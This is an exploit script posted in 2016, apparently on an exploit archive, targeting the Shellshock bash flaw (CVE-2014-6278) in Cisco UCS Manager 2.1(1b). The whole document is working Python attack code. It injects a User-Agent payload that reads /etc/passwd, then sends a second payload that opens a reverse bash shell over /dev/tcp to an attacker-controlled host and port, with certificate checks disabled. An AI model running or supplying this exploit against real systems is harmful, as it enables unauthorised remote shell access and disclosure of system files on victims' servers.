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Cisco UCS Manager 2.1(1b) Shellshock

Posted on 17 March 2016

#!/usr/bin/python
###############################################
# Cisco UCS Manager 2.1(1b) Shellshock Exploit
#
# CVE-2014-6278
# Confirmed on version 2.1(1b), but more are likely vulnerable.
# Cisco's advisory:
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
# Exploit generates a reverse shell to a nc listener.
# Exploit Author: @thatchriseckert
###############################################

import sys
import requests
import time

if len(sys.argv) < 4:
print "
[*] Cisco UCS Manager 2.1(1b) Shellshock Exploit"
print "[*] Usage: <Victim IP> <Attacking Host> <Reverse Shell Port>"
print "[*]"
print "[*] Example: shellshock.py 127.0.0.1 127.0.0.1 4444"
print "[*] Listener: nc -lvp <port>"
print "
"
sys.exit()

#Disables request warning for cert validation ignore.
requests.packages.urllib3.disable_warnings()
ucs = sys.argv[1]
url = "https://" + ucs + "/ucsm/isSamInstalled.cgi"
attackhost = sys.argv[2]
revshellport = sys.argv[3]
headers1 = {
'User-Agent': '() { ignored;};/bin/bash -i >& /dev/tcp/' + attackhost + '/' + revshellport + ' 0>&1'
}
headers2 = {
"User-Agent": '() { test;};echo "Content-type: text/plain"; echo; echo; echo $(</etc/passwd)'
}

def exploit():
try:
r = requests.get(url, headers=headers1, verify=False, timeout=5)
except Exception, e:
if 'timeout' in str(e):
print "[+] Success. Enjoy your shell..."
else:
print "[-] Something is wrong..."
print "[-] Error: " + str(e)

def main():
try:
r = requests.get(url, headers=headers2, verify=False, timeout=3)
if r.content.startswith('
root:'):
print "[+] Host is vulnerable, spawning shell..."
time.sleep(3)
exploit()
else:
print "[-] Host is not vulnerable, quitting..."
sys.exit()
except Exception, e:
print "[-] Something is wrong..."
print "[-] Error: " + str(e)

if __name__ == "__main__":
main()

 

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